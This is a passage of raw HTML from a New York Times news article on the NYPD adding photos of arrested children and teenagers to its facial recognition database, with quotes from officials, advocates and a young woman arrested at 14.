reviewing documents posted online earlier this year by <a class="css-1g7m0tk" href="https://www.flawedfacedata.com/#footnote5" title="" rel="noopener noreferrer" target="_blank">Clare Garvie, a senior associate</a><a class="css-1g7m0tk" href="https://www.flawedfacedata.com/#footnote5" title="" rel="noopener noreferrer" target="_blank"> at the Center on Privacy and Technology at Georgetown Law</a>. Ms. Garvie received the documents as part of an open records lawsuit. </p><p class="css-exrw3m evys1bk0">It could not be determined whether other large police departments used facial recognition with juveniles because very few have written policies governing the use of the technology, Ms. Garvie said. </p><p class="css-exrw3m evys1bk0">New York detectives rely on a vast network<!-- --> of surveillance cameras throughout the city to provide images of people believed to have committed a crime. Since 2011, the department has had a dedicated unit of officers who use facial recognition to compare those images against millions of photos, usually mug shots. The software proposes matches, which have led to thousands of arrests, the department said. </p><p class="css-exrw3m evys1bk0">By 2013, top police officials were meeting to discuss including juveniles in the program, the documents reviewed by The Times showed. </p><p class="css-exrw3m evys1bk0">The documents showed that the juvenile database had been integrated into the system by 2015. </p><p class="css-exrw3m evys1bk0">“We have these photos. It makes sense,” Chief Shea said in the interview. </p><p class="css-exrw3m evys1bk0">State law requires that arrest photos be destroyed if the case is resolved in the juvenile’s favor, or if the child is found to have committed only a misdemeanor, rather than a felony. The photos also must be destroyed if a person reaches age 21 without a criminal record. <!-- --> </p></div><aside class="css-o6xoe7"></aside></div><div class="css-1fanzo5 StoryBodyCompanionColumn"><div class="css-53u6y8"><p class="css-exrw3m evys1bk0">When children are charged with crimes, the court system usually takes some steps to prevent their acts from defining them in later years. Children who are 16 and under, for instance, are generally sent to Family Court, where records are not public. </p><p class="css-exrw3m evys1bk0">Yet including their photos in a facial recognition database runs the risk that an imperfect algorithm identifies them as possible suspects in later crimes, civil rights advocates said. A mistaken match could lead investigators to focus on the wrong person from the outset, they said. </p><p class="css-exrw3m evys1bk0">“It’s very disturbing to know that no matter what I’m doing at that moment, someone might be scanning my picture to try to find someone who committed a crime,” said Bailey, a 17-year-old Brooklyn girl who had admitted guilt in Family Court to a group attack that happened when she was 14. She said she was present at the attack but did not participate. </p><p class="css-exrw3m evys1bk0">Bailey, who asked that she be identified only by her <!-- -->last name<!-- --> because she did not want her juvenile arrest to be public, has not been arrested again and is now a student at John Jay College of Criminal Justice. </p><p class="css-exrw3m evys1bk0">R<!-- -->ecent studies indicate that people of color, as well as children and women, have a greater risk of misidentification than their counterparts, sai<!-- -->d <!-- -->Joy Buolamwini<!-- -->, <!-- -->the founder of the Algorithmic Justice League and graduate researcher at the M.I.T. Media Lab<!-- -->, who has examined how human biases are built into artificial intelligence. </p><p class="css-exrw3m evys1bk0">The racial disparities in the juvenile justice system are stark: In New York, black and Latino juveniles were charged with crimes at far higher rates than whites in 2017, the most recent year for which numbers were available. Black juveniles outnumbered white juveniles <a class="css-1g7m0tk" href="https://www.criminaljustice.ny.gov/crimnet/ojsa/jj-reports/newyorkcity.pdf" title="" rel="noopener noreferrer" target="_blank">more than 15 to 1</a>.</p><p class="css-exrw3m evys1bk0">“If the facial recognition algorithm has a negative bias toward a black population, that will get magnified more toward children,” Dr. Ricanek said, adding that in terms of diminished accuracy, “you’re now putting yourself in unknown territory.”</p></div><aside class="css-o6xoe7"></aside></div><div class="css-1soubk3 epkadsg3"><div class="css-15g2oxy epkadsg2"><div class="css-2b3w4o e16ij5yr6"><a class="css-1g7m0tk" href="https://www.nytimes.com/2019/06/09/opinion/facial-recognition-police-new-york-city.html?action=click&amp;module=RelatedLinks&amp;pgtype=Article"><div class="css-i9gxme e16ij5yr4"><div class="css-14b9hti e16ij5yr5">Opinion | James O’Neill</div><div class="css-1j8dw05 e16ij5yr2">How Facial Recognition Makes You Safer</div><time class="css-rqb9bm e16638kd0" dateTime="2019-06-09">Jun 9, 2019</time></div><div class="css-1vm5oi9 e16ij5yr0"><img src="https://static01.nyt.com/images/2019/06/07/opinion/sunday/07Oneill/07Oneill-threeByTwoSmallAt2X.jpg" class="css-32rbo2 e16ij5yr1"/></div></a></div><div class="css-2b3w4o e16ij5yr6"><a class="css-1g7m0tk" href="https://www.nytimes.com/2019/06/07/opinion/lockport-facial-recognition-schools.html?action=click&amp;module=RelatedLinks&amp;pgtype=Article"><div class="css-i9gxme e16ij5yr4"><div class="css-14b9hti e16ij5yr5">Opinion | Jim Shultz</div><div class="css-1j8dw05 e16ij5yr2">Spying on Children Won’t Keep Them Safe</div><time class="css-rqb9bm e16638kd0" dateTime="2019-06-07">Jun 7, 2019</time></div><div class="css-1vm5oi9 e16ij5yr0"><img src="https://static01.nyt.com/images/2019/06/07/opinion/07shultz-privacy/07shultz-privacy-threeByTwoSmallAt2X.jpg" class="css-32rbo2 e16ij5yr1"/></div></a></div></div></div></section><div class="bottom-of-article"><div class="css-1ubp8k9"></div><div class="css-wg1cha"><div class="css-19hdyf3 e1e7j8ap0"><div><p>Joseph Goldstein writes about policing and the criminal justice system. He has been a reporter at The Times since 2011, and is based in New York. He also worked for a year in the Kabul bureau, reporting on Afghanistan. <span class="css-4w91ra"> <a href="https://twitter.com/JoeKGoldstein" class="css-1rj8to8" rel="noopener noreferrer" target="_blank"><span class="css-0">@</span>JoeKGoldstein</a> </span></p></div></div><div class="css-19hdyf3 e1e7j8ap0"><div><p>Ali Watkins is a reporter on the Metro Desk, covering courts and social services. Previously, she covered national security in Washington for The Times, BuzzFeed and McClatchy Newspapers. <span class="css-4w91ra"> <a href="https://twitter.com/AliWatkins" class="css-1rj8to8" rel="noopener noreferrer" target="_blank"><span class="css-0">@</span>AliWatkins</a> </span></p></div></div></div><div class="css-vdv0al">A version of this article appears in print on <!-- -->, Section <!-- -->A<!-- -->, Page <!-- -->1<!-- --> of the New York edition<!-- --> with the headline: <!-- -->In New York, Police Computers Scan Faces, Some as Young as 11<span>. <a href="http://www.nytreprints.com/">Order Reprints</a> | <a href="http://www.nytimes.com/pages/todayspaper/index.html">Today’s Paper</a> | <a href="https://www.nytimes.com/subscriptions/Multiproduct/lp8HYKU.html?campaignId=48JQY">Subscribe</a></span></div><div class="css-i29ckm"><div class="css-10raysz"></div><div role="toolbar" aria-label="Social Media Share buttons, Save button, and Comments Panel with current comment count" class="css-d8bdto" data-testid="share-tools"><ul class="css-y8aj3r"><li class="css-ar1l6a"><a href="https://www.facebook.com/dialog/feed?app_id=9869919170&amp;link=https%3A%2F%2Fwww.nytimes.com%2F2019%2F08%2F01%2Fnyregion%2Fnypd-facial-recognition-children-teenagers.html&amp;smid=fb-share&amp;name=She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.&amp;redirect_uri=https%3A%2F%2Fwww.facebook.com%2F" target="_blank" rel="noopener noreferrer" aria-label="Share on Facebook"><svg class="css-4brsb6" viewBox="0 0 7 15" width="7" height="15"><path fill-rule="evenodd" clip-rule="evenodd" d="M4.775 14.163V7.08h1.923l.255-2.441H4.775l.004-1.222c0-.636.06-.977.958-.977H6.94V0H5.016c-2.31 0-3.123 1.184-3.123 3.175V4.64H.453v2.44h1.44v7.083h2.882z" fill="#000"></path></svg></a></li><li class="css-ar1l6a"><a href="https://twitter.com/intent/tweet?url=https%3A%2F%2Fnyti.ms%2F2GEzuZ8&amp;text=She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database." target="_blank" rel="noopener noreferrer" aria-label="Share on Twitter"><svg viewBox="0 0 13 10" class="css-4brsb6" width="13" height="10"><path fill-rule="evenodd" clip-rule="evenodd" d="M5.987 2.772l.025.425-.429-.052c-1.562-.2-2.927-.876-4.086-2.011L.93.571.784.987c-.309.927-.111 1.906.533 2.565.343.364.266.416-.327.2-.206-.07-.386-.122-.403-.096-.06.06.146.85.309 1.161.223.434.678.858 1.176 1.11l.42.199-.497.009c-.481 0-.498.008-.447.19.172.564.85 1.162 1.606 1.422l.532.182-.464.277a4.833 4.833 0 0 1-2.3.641c-.387.009-.704.044-.704.07 0 .086 1.047.572 1.657.762 1.828.564 4 .32 5.631-.641 1.159-.685 2.318-2.045 2.859-3.363.292-.702.583-1.984.583-2.6 0-.398.026-.45.507-.927.283-.277.55-.58.6-.667.087-.165.078-.165-.36-.018-.73.26-.832.226-.472-.164.266-.278.584-.78.584-.928 0-.026-.129.018-.275.096a4.79 4.79 0 0 1-.755.294l-.464.148-.42-.286C9.66.467 9.335.293 9.163.24 8.725.12 8.055.137 7.66.276c-1.074.39-1.752 1.395-1.674 2.496z" fill="#000"></path></svg></a></li><li class="css-ar1l6a"><a href="mailto:?subject=NYTimes.com%3A%20She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.&amp;body=From%20The%20New%20York%20Times%3A%0A%0AShe%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.%0A%0AWith%20little%20oversight%2C%20the%20N.Y.P.D.%20has%20been%20using%20powerful%20surveillance%20technology%20on%20photos%20of%20children%20and%20teenagers.%0A%0Ahttps%3A%2F%2Fwww.nytimes.com%2F2019%2F08%2F01%2Fnyregion%2Fnypd-facial-recognition-children-teenagers.html" target="_blank" rel="noopener noreferrer" aria-label="Email"><svg viewBox="0 0 15 9" class="css-4brsb6" width="15" height="9"><path fill-rule="evenodd" clip-rule="evenodd" d="M.906 8.418V0L5.64 4.76.906 8.419zm13 0L9.174 4.761 13.906 0v8.418zM7.407 6.539l-1.13-1.137L.907 9h13l-5.37-3.598-1.13 1.137zM1.297 0h12.22l-6.11 5.095L1.297 0z" fill="#000"></path></svg></a></li><li class="css-ar1l6a"><div class="css-6n7j50"><button aria-haspopup="true" aria-expanded="false" aria-label="More sharing options" class="css-16ogagc" data-testid=""><svg class="css-uhuo44" viewBox="0 0 16 13" width="16" height="13"><path fill-rule="evenodd" clip-rule="evenodd" d="M15.406 5.359L8.978 0v3.215C3.82 3.215.406 8.107.406 12.66 1.653 9.133 4.29 7.517 8.978 7.517v3.2l6.428-5.358z" fill="#000"></path></svg></button></div></li></ul></div></div></div><div></div><div><div id="bottom-wrapper" class="css-1ede5it"><div id="bottom-slug" class="css-l9onyx"><p>Advertisement</p></div><div class="ad bottom-wrapper" style="text-align:center;height:100%;display:block;min-height:90px"><div id="bottom" class="" data-position="bottom"></div></div></div></div></article></div></main><nav class="css-1ropbjl" id="site-index" aria-labelledby="site-index-label" data-testid="site-index"><div class="css-uw59u"><header class="css-jxzr5i" data-testid="site-index-header"><h2 class="css-vz7hjd" id="site-index-label">Site Index</h2><a href="/"><svg xmlns="http://www.w3.org/2000/svg" class="css-oylsik" viewBox="0 0 184 25" fill="#000"><path d="M13.8 2.9c0-2-1.9-2.5-3.4-2.5v.3c.9 0 1.6.3 1.6 1 0 .4-.3 1-1.2 1-.7 0-2.2-.4-3.3-.8C6.2 1.4 5 1 4 1 2 1 .6 2.5.6 4.2c0 1.5 1.1 2 1.5 2.2l.1-.2c-.2-.2-.5-.4-.5-1 0-.4.4-1.1 1.4-1.1.9 0 2.1.4 3.7.9 1.4.4 2.9.7 3.7.8v3.1L9 10.2v.1l1.5 1.3v4.3c-.8.5-1.7.6-2.5.6-1.5 0-2.8-.4-3.9-1.6l4.1-2V6l-5 2.2C3.6 6.9 4.7 6 5.8 5.4l-.1-.3c-3 .8-5.7 3.6-5.7 7 0 4 3.3 7 7 7 4 0 6.6-3.2 6.6-6.5h-.2c-.6 1.3-1.5 2.5-2.6 3.1v-4.1l1.6-1.3v-.1l-1.6-1.3V5.8c1.5 0 3-1 3-2.9zm-8.7 11l-1.2.6c-.7-.9-1.1-2.1-1.1-3.8 0-.7 0-1.5.2-2.1l2.1-.9v6.2zm10.6 2.3l-1.3 1 .2.2.6-.5 2.2 2 3-2-.1-.2-.8.5-1-1V9.4l.8-.6 1.7 1.4v6.1c0 3.8-.8 4.4-2.5 5v.3c2.8.1 5.4-.8 5.4-5.7V9.3l.9-.7-.2-.2-.8.6-2.5-2.1L18.5 9V.8h-.2l-3.5 2.4v.2c.4.2 1 .4 1 1.5l-.1 11.3zM34 15.1L31.5 17 29 15v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.6l-1 .8.2.2.9-.7 3.4 2.5 4.5-3.6-.1-.4zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zM53.1 2c0-.3-.1-.6-.2-.9h-.2c-.3.8-.7 1.2-1.7 1.2-.9 0-1.5-.5-1.9-.9l-2.9 3.3.2.2 1-.9c.6.5 1.1.9 2.5 1v8.3L44 3.2c-.5-.8-1.2-1.9-2.6-1.9-1.6 0-3 1.4-2.8 3.6h.3c.1-.6.4-1.3 1.1-1.3.5 0 1 .5 1.3 1v3.3c-1.8 0-3 .8-3 2.3 0 .8.4 2 1.6 2.3v-.2c-.2-.2-.3-.4-.3-.7 0-.5.4-.9 1.1-.9h.5v4.2c-2.1 0-3.8 1.2-3.8 3.2 0 1.9 1.6 2.8 3.4 2.7v-.2c-1.1-.1-1.6-.6-1.6-1.3 0-.9.6-1.3 1.4-1.3.8 0 1.5.5 2 1.1l2.9-3.2-.2-.2-.7.8c-1.1-1-1.7-1.3-3-1.5V5l8 14h.6V5c1.5-.1 2.9-1.3 2.9-3zm7.3 13.1L57.9 17l-2.5-2v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.6l-1 .8.2.2.9-.7 3.4 2.5 4.5-3.6-.1-.4zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zM76.7 8l-.7.5-1.9-1.6-2.2 2 .9.9v7.5l-2.4-1.5V9.6l.8-.5-2.3-2.2-2.2 2 .9.9V17l-.3.2-2.1-1.5v-6c0-1.4-.7-1.8-1.5-2.3-.7-.5-1.1-.8-1.1-1.5 0-.6.6-.9.9-1.1v-.2c-.8 0-2.9.8-2.9 2.7 0 1 .5 1.4 1 1.9s1 .9 1 1.8v5.8l-1.1.8.2.2 1-.8 2.3 2 2.5-1.7 2.8 1.7 5.3-3.1V9.2l1.3-1-.2-.2zm18.6-5.5l-1 .9-2.2-2-3.3 2.4V1.6h-.3l.1 16.2c-.3 0-1.2-.2-1.9-.4l-.2-13.5c0-1-.7-2.4-2.5-2.4s-3 1.4-3 2.8h.3c.1-.6.4-1.1 1-1.1s1.1.4 1.1 1.7v3.9c-1.8.1-2.9 1.1-2.9 2.4 0 .8.4 2 1.6 2V13c-.4-.2-.5-.5-.5-.7 0-.6.5-.8 1.3-.8h.4v6.2c-1.5.5-2.1 1.6-2.1 2.8 0 1.7 1.3 2.9 3.3 2.9 1.4 0 2.6-.2 3.8-.5 1-.2 2.3-.5 2.9-.5.8 0 1.1.4 1.1.9 0 .7-.3 1-.7 1.1v.2c1.6-.3 2.6-1.3 2.6-2.8s-1.5-2.4-3.1-2.4c-.8 0-2.5.3-3.7.5-1.4.3-2.8.5-3.2.5-.7 0-1.5-.3-1.5-1.3 0-.8.7-1.5 2.4-1.5.9 0 2 .1 3.1.4 1.2.3 2.3.6 3.3.6 1.5 0 2.8-.5 2.8-2.6V3.7l1.2-1-.2-.2zm-4.1 6.1c-.3.3-.7.6-1.2.6s-1-.3-1.2-.6V4.2l1-.7 1.4 1.3v3.8zm0 3c-.2-.2-.7-.5-1.2-.5s-1 .3-1.2.5V9c.2.2.7.5 1.2.5s1-.3 1.2-.5v2.6zm0 4.7c0 .8-.5 1.6-1.6 1.6h-.8V12c.2-.2.7-.5 1.2-.5s.9.3 1.2.5v4.3zm13.7-7.1l-3.2-2.3-4.9 2.8v6.5l-1 .8.1.2.8-.6 3.2 2.4 5-3V9.2zm-5.4 6.3V8.3l2.5 1.8v7.1l-2.5-1.7zm14.9-8.4h-.2c-.3.2-.6.4-.9.4-.4 0-.9-.2-1.1-.5h-.2l-1.7 1.9-1.7-1.9-3 2 .1.2.8-.5 1 1.1v6.3l-1.3 1 .2.2.6-.5 2.4 2 3.1-2.1-.1-.2-.9.5-1.2-1V9c.5.5 1.1 1 1.8 1 1.4.1 2.2-1.3 2.3-2.9zm12 9.6L123 19l-4.6-7 3.3-5.1h.2c.4.4 1 .8 1.7.8s1.2-.4 1.5-.8h.2c-.1 2-1.5 3.2-2.5 3.2s-1.5-.5-2.1-.8l-.3.5 5 7.4 1-.6v.1zm-11-.5l-1.3 1 .2.2.6-.5 2.2 2 3-2-.2-.2-.8.5-1-1V.8h-.1l-3.6 2.4v.2c.4.2 1 .3 1 1.5v11.3zM143 2.9c0-2-1.9-2.5-3.4-2.5v.3c.9 0 1.6.3 1.6 1 0 .4-.3 1-1.2 1-.7 0-2.2-.4-3.3-.8-1.3-.4-2.5-.8-3.5-.8-2 0-3.4 1.5-3.4 3.2 0 1.5 1.1 2 1.5 2.2l.1-.2c-.3-.2-.6-.4-.6-1 0-.4.4-1.1 1.4-1.1.9 0 2.1.4 3.7.9 1.4.4 2.9.7 3.7.8V9l-1.5 1.3v.1l1.5 1.3V16c-.8.5-1.7.6-2.5.6-1.5 0-2.8-.4-3.9-1.6l4.1-2V6l-5 2.2c.5-1.3 1.6-2.2 2.6-2.9l-.1-.2c-3 .8-5.7 3.5-5.7 6.9 0 4 3.3 7 7 7 4 0 6.6-3.2 6.6-6.5h-.2c-.6 1.3-1.5 2.5-2.6 3.1v-4.1l1.6-1.3v-.1L140 8.8v-3c1.5 0 3-1 3-2.9zm-8.7 11l-1.2.6c-.7-.9-1.1-2.1-1.1-3.8 0-.7.1-1.5.3-2.1l2.1-.9-.1 6.2zm12.2-12h-.1l-2 1.7v.1l1.7 1.9h.2l2-1.7v-.1l-1.8-1.9zm3 14.8l-.8.5-1-1V9.3l1-.7-.2-.2-.7.6-1.8-2.1-2.9 2 .2.3.7-.5.9 1.1v6.5l-1.3 1 .1.2.7-.5 2.2 2 3-2-.1-.3zm16.7-.1l-.7.5-1.1-1V9.3l1-.8-.2-.2-.8.7-2.3-2.1-3 2.1-2.3-2.1L154 9l-1.8-2.1-2.9 2 .1.3.7-.5 1 1.1v6.5l-.8.8 2.3 1.9 2.2-2-.9-.9V9.3l.9-.6 1.5 1.4v6l-.8.8 2.3 1.9 2.2-2-.9-.9V9.3l.8-.5 1.6 1.4v6l-.7.7 2.3 2.1 3.1-2.1v-.3zm8.7-1.5l-2.5 1.9-2.5-2v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.8l3.5 2.5 4.5-3.6-.1-.3zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zm14.1-.9l-1.9-1.5c1.3-1.1 1.8-2.6 1.8-3.6v-.6h-.2c-.2.5-.6 1-1.4 1-.8 0-1.3-.4-1.8-1L176 9.3v3.6l1.7 1.3c-1.7 1.5-2 2.5-2 3.3 0 1 .5 1.7 1.3 2l.1-.2c-.2-.2-.4-.3-.4-.8 0-.3.4-.8 1.2-.8 1 0 1.6.7 1.9 1l4.3-2.6v-3.6h-.1zm-1.1-3c-.7 1.2-2.2 2.4-3.1 3l-1.1-.9V8.1c.4 1 1.5 1.8 2.6 1.8.7 0 1.1-.1 1.6-.4zm-1.7 8c-.5-1.1-1.7-1.9-2.9-1.9-.3 0-1.1 0-1.9.5.5-.8 1.8-2.2 3.5-3.2l1.2 1 .1 3.6z"></path></svg></a><div class="css-1otr2jl" data-testid="go-to-homepage"><a class="css-1c8n994" href="/">Go to Home Page »</a></div></header><div class="css-qtw155" data-testid="site-index-accordion"><div class=" " role="tablist" aria-multiselectable="true" data-testid="accordion"><div class="" data-testid="accordion-item"><header aria-controls="body-siteindex-0" id="item-siteindex-0" class="css-mn5hq9" role="tab" tabindex="0" aria-expanded="false" data-testid="accordion-item-header">news</header><div class="css-1hyfx7x" id="body-siteindex-0" aria-labelledby="item-siteindex-0" aria-expanded="false" role="tabpanel" data-testid="accordion-item-body"><ul class="css-1gprdgz" data-testid="site-index-accordion-list"><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com" data-testid="accordion-item-list-link">home page</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/world" data-testid="accordion-item-list-link">world</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/us" data-testid="accordion-item-list-link">U.S.</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/politics" data-testid="accordion-item-list-link">politics</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/news-event/2020-election" data-testid="accordion-item-list-link">Election 2020</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/nyregion" data-testid="accordion-item-list-link">New York</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/business" data-testid="accordion-item-list-link">business</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/technology" data-testid="accordion-item-list-link">tech</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/science" data-testid="accordion-item-list-link">science</a></li><li class="css-10t7hia smartphone"><a class="css-mzqdl" href="https://www.nytimes.com/section/climate" data-testid="accordion-item-list-link">climate</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/sports" data-testid="accordion-item-list-link">sports</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/obituaries" data-testid="accordion-item-list-link">obituaries</a></li><li class="css-10t7hia smartphone"><a class="css-mzqdl" href="https://www.nytimes.com/section/upshot" data-testid="accordion-item-list-link">the upshot</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/todayspaper" data-testid="accordion-item-list-link">today&#x27;s paper</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/corrections" data-testid="accordion-item-list-link">corrections</a></li></ul></div></div><div class="" data-testid="accordion-item"><header aria-controls="body-siteindex-1" id="item-siteindex-1" class="css-mn5hq9" role="tab" tabindex="0" aria-expanded="false" data-testid="accordion-item-header">opinion</header><div class="css-1hyfx7x" id="body-siteindex-1" aria-labelledby="item-siteindex-1" aria-expanded="false" role="tabpanel" data-testid="accordion-item-body"><ul class="css-1gprdgz" data-testid="site-index-accordion-list"><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/opinion" data-testid="accordion-item-list-link">today&#x27;s opinion</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/opinion/columnists" data-testid="accordion-item-list-link">op-ed columnists</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/opinion/editorials" data-testid="accordion-item-list-link">editorials</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/opinion/contributors" data-testid="accordion-item-list-link">op-ed Contributors</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/opinion/letters" data-testid="accordion-item-list-link">letters</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/opinion/sunday" data-testid="accordion-item-list-link">sunday review</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/video/opinion" data-testid="accordion-item-list-link">video: opinion</a></li></ul></div></div><div class="" data-testid="accordion-item"><header aria-controls="body-siteindex-2" id="item-siteindex-2" class="css-mn5hq9" role="tab" tabindex="0" aria-expanded="false" data-testid="accordion-item-header">arts</header><div class="css-1hyfx7x" id="body-siteindex-2" aria-labelledby="item-siteindex-2" aria-expanded="false" role="tabpanel" data-testid="accordion-item-body"><ul class="css-1gprdgz" data-testid="site-index-accordion-list"><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/arts" data-testid="accordion-item-list-link">today&#x27;s arts</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/arts/design" data-testid="accordion-item-list-link">art &amp; design</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/books" data-testid="accordion-item-list-link">books</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/arts/dance" data-testid="accordion-item-list-link">dance</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/movies" data-testid="accordion-item-list-link">movies</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/arts/music" data-testid="accordion-item-list-link">music</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/spotlight/pop-culture" data-testid="accordion-item-list-link">Pop Culture</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/arts/television" data-testid="accordion-item-list-link">television</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/theater" data-testid="accordion-item-list-link">theater</a></li><li class="css-10t7hia smartphone"><a class="css-mzqdl" href="https://www.nytimes.com/watching" data-testid="accordion-item-list-link">watching</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/video/arts" data-testid="accordion-item-list-link">video: arts</a></li></ul></div></div><div class="" data-testid="accordion-item"><header aria-controls="body-siteindex-3" id="item-siteindex-3" class="css-mn5hq9" role="tab" tabindex="0" aria-expanded="false" data-testid="accordion-item-header">living</header><div class="css-1hyfx7x" id="body-siteindex-3" aria-labelledby="item-siteindex-3" aria-expanded="false" role="tabpanel" data-testid="accordion-item-body"><ul class="css-1gprdgz" data-testid="site-index-accordion-list"><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/automobiles" data-testid="accordion-item-list-link">automobiles</a></li><li class="css-10t7hia smartphone"><a class="css-mzqdl" href="https://cooking.nytimes.com/" data-testid="accordion-item-list-link">Cooking</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/crosswords" data-testid="accordion-item-list-link">crossword</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/education" data-testid="accordion-item-list-link">education</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/food" data-testid="accordion-item-list-link">food</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/health" data-testid="accordion-item-list-link">health</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/jobs" data-testid="accordion-item-list-link">jobs</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/magazine" data-testid="accordion-item-list-link">magazine</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://parenting.nytimes.com/" data-testid="accordion-item-list-link">parenting</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/realestate" data-testid="accordion-item-list-link">real estate</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/style" data-testid="accordion-item-list-link">style</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/t-magazine" data-testid="accordion-item-list-link">t magazine</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/travel" data-testid="accordion-item-list-link">travel</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/fashion/weddings" data-testid="accordion-item-list-link">love</a></li></ul></div></div><div class="" data-testid="accordion-item"><header aria-controls="body-siteindex-4" id="item-siteindex-4" class="css-mn5hq9" role="tab" tabindex="0" aria-expanded="false" data-testid="accordion-item-header">listings &amp; more</header><div class="css-1hyfx7x" id="body-siteindex-4" aria-labelledby="item-siteindex-4" aria-expanded="false" role="tabpanel" data-testid="accordion-item-body"><ul class="css-1gprdgz" data-testid="site-index-accordion-list"><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/reader-center" data-testid="accordion-item-list-link">Reader Center</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://thewirecutter.com" data-testid="accordion-item-list-link">Wirecutter</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="http://nytconferences.com/" data-testid="accordion-item-list-link">Live Events</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/learning" data-testid="accordion-item-list-link">The Learning Network</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="http://www.nytimes.com/marketing/tools-and-services" data-testid="accordion-item-list-link">tools &amp; services</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/events" data-testid="accordion-item-list-link">N.Y.C. events guide</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/multimedia" data-testid="accordion-item-list-link">multimedia</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/lens" data-testid="accordion-item-list-link">photography</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/video" data-testid="accordion-item-list-link">video</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/newsletters" data-testid="accordion-item-list-link">Newsletters</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/store" data-testid="accordion-item-list-link">NYT store</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/times-journeys" data-testid="accordion-item-list-link">times journeys</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://myaccount.nytimes.com/membercenter/myaccount.html" data-testid="accordion-item-list-link">manage my account</a></li></ul></div></div></div></div><div class="css-v0l3hm" data-testid="site-index-sections"><div class="css-g4gku8" data-testid="site-index-section"><section class="css-1rr4qq7" aria-labelledby="site-index-section-label-0"><h3 class="css-rxqrcl" id="site-index-section-label-0">news</h3><ul class="css-1iruc8t" data-testid="site-index-section-list"><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com" data-testid="site-index-section-list-link">home page</a></li><li class="css-ist4u3"><a class="css-kwpx34" href="https://www.nytimes.com/section/world" 